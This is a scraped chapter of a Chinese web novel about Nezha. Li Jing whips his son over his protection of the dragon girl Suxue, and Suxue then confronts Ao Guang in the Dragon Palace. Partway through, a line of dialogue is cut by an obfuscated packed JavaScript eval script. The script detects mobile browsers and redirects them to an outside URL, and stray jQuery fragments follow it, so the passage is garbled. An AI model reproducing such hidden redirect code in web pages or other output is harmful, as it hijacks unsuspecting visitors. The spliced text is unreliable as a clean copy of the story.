123读书网 > 玄幻小说 > [哪吒]三太子他情劫又崩了 > 41.陈塘往事
    “父亲!”


    哪吒向前踏出半步,不动声色站在簌雪身前:“人亦有善恶,如何能一概而论。”


    说罢,挑眉撇了眼簌雪,道:“她追踪至此,确是为救那几名孩童,与我目标一致。”


    此言一出,逻辑清晰。


    李靖沉默了。


    这本是普通陈述,在他听来却无比刺耳。


    哪吒居然出言维护这妖龙?!


    汤灵一事为过去多久,莫非他已忘的一干二净了?


    李靖没有立刻发作,而是眯了眯眼,势要看清楚哪吒到底是否有维护之意。


    四周霎时鸦雀无声,只有火把燃烧的噼啪声和海浪不知疲倦的拍岸声此起彼伏。


    良久,李靖才发出一声冷哼。


    他没有再追问簌雪,猛地拂袖转身,对着副将沉声下令:“立刻清理现场,不留任何隐患!传令三军,即日起,陈塘关沿岸全线戒备,严观东海动向,若有异常,速来禀报!”


    副将洪亮应诺,立刻带人行动起来。


    吩咐完后,李靖才回头开口道:“哪吒,处理妥当后,速回府邸,我有事问你。”


    说罢,领着亲兵,大步离去。


    簌雪在一旁,张了张嘴,想说些什么,却发现喉咙干涩得发不出任何声音。


    该说什么呢?


    说为何不追到东海,去同敖孪对质?


    说为何问她罪时,咄咄逼人,论旁人罪时,却总是轻拿轻放?


    簌雪突然觉得有些可笑。


    原来这世间本就无公平可言。


    龙宫如此,如今李靖亦是如此。


    各个儿冠冕堂皇,本质却无差异。


    -


    总兵府,祠堂内。


    烛火摇曳不定,将人影拉扯。


    空气粘稠如血,每一次呼吸都沉重非常。


    殷夫人死死护在哪吒身前,单薄的身躯因激动而微微颤抖。


    她泪眼婆娑,望着跪在冰冷的地面之上,牌位之前,赤/裸上身的哪吒。


    他后背被打得皮开肉绽,鲜血淋漓,却始终一言不发。


    殷夫人心疼不已,声音哀恳:“哪吒……我的儿,你就低个头,跟你爹认个错,算娘求你了,好不好?”


    她伸出手,想去触碰他的臂膀,却又怕加剧他的伤痛,手指僵在半空,无助地蜷缩着。


    哪吒撑在地上的双臂,肌肉虬结,因极度用力而青筋暴起。


    听罢殷夫人的话,他只是摇了摇头。


    汗水混着血水,从他线条硬朗的下颌不断滴落,在身下汇聚成一小滩暗红。


    碎发遮掩了他的表情,只有那从齿缝间挤出的几个字,在死寂的祠堂中回荡:


    “我无错可认。”


    他没有抬头,也未看到李靖此刻铁青的脸色。


    “孽障!”李靖怒极,额角青筋蠕动,乌鞭扬起,再度落下。


    “不准打!”殷夫人凄厉尖叫,扑倒在哪吒背上。


    她抬头,泪眼决绝,瞪李靖:“将军,你要打他,先打死我!”


    鞭子悬停她头顶寸许。


    李靖看着妻儿,无力与狂怒交织。


    他猛摔鞭子,“啪”一声巨响,双目赤红:


    “好,好得很,看着你娘亲为你挡鞭,仍无半丝愧疚,为那龙女,连性命父母天命都不顾了是吧?”


    他喘着粗气,厉声命令道:“来人,去将那龙女押过来,让我看看,她究竟给你下了什么迷魂汤!”


    李靖音量拔至最高,似是故意让哪吒听清:


    “反正敖光交出敖簌雪时,说得清楚——此女性命,随我李家。”


    哪吒扣紧地面的指节青白。


    他慢慢抬眼,看向父亲,嘴角扯出带血的讽笑。


    李靖怒:“你笑什么?”


    哪吒声哑:“笑父亲看得真准。”


    李靖皱眉,后似恍然大悟,快速逼近,一把拽住哪吒衣领,低声喃喃,又似自言自语:“你承认了?难怪,难怪……你体内混乱之力,竟突然炼化过半……”


    殷夫人掩唇惊骇,李靖话都说到这份上,她还有什么不明白。


    哪吒眼神一凛,归于淡漠桀骜:“承认又如何?”


    “你!”李靖怒喝,“你身负天命,就应顺应命数!淬炼本源,顺天应人,助周伐纣!这才是天意,是正道!”


    哪吒直视他:“父亲在乎的,究竟是众生正道,还是你一人的正道?”


    李靖一怔:“什么?”


    “我的路,我的命,”哪吒一字一顿:“是我的,还是你通往天庭功业的一步棋?”


    “放肆!”李靖额角青筋暴起,“我为你筹谋,还错了?!”


    “筹谋?”哪吒冷笑,“前有汤灵,后有敖簌雪,你的筹谋,便是让我利用她们,待混沌之力炼化之后,目的达到,将她们一脚踢开?”


    “住口!”李靖震怒,“孽子!你真是叫那龙女迷了心智,不辩是非!”


    哪吒不甘示弱,语气轻蔑:“何为是?何为非?当日敖广为保敖丙,推出敖簌雪顶罪,父亲阻止我取她性命,不就是为了她鲛人一族的‘潮汐之泪’?”


    “再让娘亲同师父演上一场,故意让她听见。”


    “这些‘妙计’,难道不都是父亲手笔吗?”


    李靖气急,指着哪吒的手指不住的颤动,口中却说不出一个字。


    哪吒却未就此打住:“‘潮汐之泪’如何可得,你、我、娘亲、师父都知晓,是她极喜或是极悲之时落下的眼泪。”


    “既是为炼化我体内混沌之力,主动权就在我,让她极喜或是极悲的选择亦在我,难道这些,父亲也要干涉?”


    李靖怒不可遏,情绪失控:“畜牲!”


    语毕,扬起长鞭,重重落在哪吒后背。


    这次用了全力,没半分收敛。


    一鞭下去,哪吒身子前倾,吐出一口鲜血。


    殷夫人惊呼一声,猛地扑过去,双手紧紧抓住李靖再次高扬起的鞭子,泪流满面:“将军!将军住手!你真是要打死他才肯罢手么?”


    哪吒撑起身子,将唇上的血抹去,没一点服软的意思:“眼见汤灵与敖丙神魂交融,无法再为我淬炼神力,便将其弃了,转头盯上敖簌雪。”


    “呵,剑指龙宫时,何等正义凛然,其实本质上,与他们无异。”


    哪吒冷笑:“总兵大人说的好!好一个‘畜牲’,届时总兵大人立下大功一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833505|190777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桩,而我,倒是真成了个无情无义的‘畜牲’!”


    李靖捂住胸口,后退两步,指着哪吒,连道三句“竖子”。


    殷夫人见状大惊,忙上前扶住他,含泪回头,看向哪吒:“吒儿,别再说了,别再说了……”


    将娘亲满眼苦涩,哪吒沉默,不再言语。


    殷夫人欲搀李靖离开,踏出门槛时,李靖再次回头,这次没再同他争辩,叹息一声,如在相劝:


    “她只会引你偏离正道,坏你根基,你现在护她,将来必受其害啊。”


    哪吒脊背挺直,背上的血滑落在侧。


    “那是我的事。”


    李靖气极反笑:


    “好,好!那你听清,你若执迷,继续与她纠缠,迟早自毁!到时你所作所为,与李家无关,我只当没你这儿子!”


    哪吒垂眸,声低却清晰:“我的生死祸福,自此自担。但我要护谁,不护谁——”


    他顿住:“也一样,与李家无关。”


    -


    今夜,李家祠堂内发生的一切,簌雪均不知晓。


    此刻更有悬在心头的事待她核证。


    那日杏雨所说的话,她不曾有一刻忘记。


    之前是苦于法力被封,如今从归墟出来时,哪吒便解了封印。


    恢复法力后,簌雪所想的第一件事,便是回到东海龙宫,找到敖广,把来龙去脉问个清楚。


    虽然心中已猜出个七七八八,还是要亲口问一问。


    东海龙宫深处,水波在雕琢精美的水晶廊柱间流淌,将整个主殿笼罩在一片朦胧微光之中。数以千计的夜明珠镶嵌在穹顶,明光却根本无法驱散通体的寒意。


    簌雪独自站在大殿中央,卫兵们见她硬闯,上前阻拦,将她团团围住。


    她只是紧紧攥着衣袖。


    "父王,簌雪求见。"


    她的声音在空旷的大殿回荡,没有激起任何回应。


    "父王!"


    她提高了声音:"簌雪恳请您现身一见!我只想问个明白。"


    依旧是一片死寂。


    簌雪只觉得可笑,知道只做这般叫唤,敖广是不可能现身的。


    他此番是打算缩头乌龟做到底了。


    她冷笑,便不再给他留情面:"龙王陛下,可还记得当年为得‘潮汐之泪’,假许情爱,骗取鲛人族公主真心一事?"


    “如今,她的女儿在此求见,你连现身见上一面都不敢,竟也会觉得亏心内疚?”


    话音刚落,大殿周遭的光影浮动。


    下一刻,东海龙王敖广缓缓现身。


    他依旧头戴九旒冕冠,身着绣着龙纹的玄色朝服,满是龙王威仪。


    然而,他的目光,此刻却在飘忽,游移不定,始终不敢与殿下的簌雪对视。


    随敖广一同现身的,还有另外两人。


    敖丙站在稍前的位置,面色阴沉如水,眼神中带着毫不掩饰的烦躁与凶戾。


    而敖孪则站在王座另一侧的阴影里,双手抱胸,嘴角噙着一丝看戏般的嘲讽。


    面前三人,本是她的至亲。


    是她的亲生父亲和同父异母的哥哥。


    如今三人,却都站在了她的对面。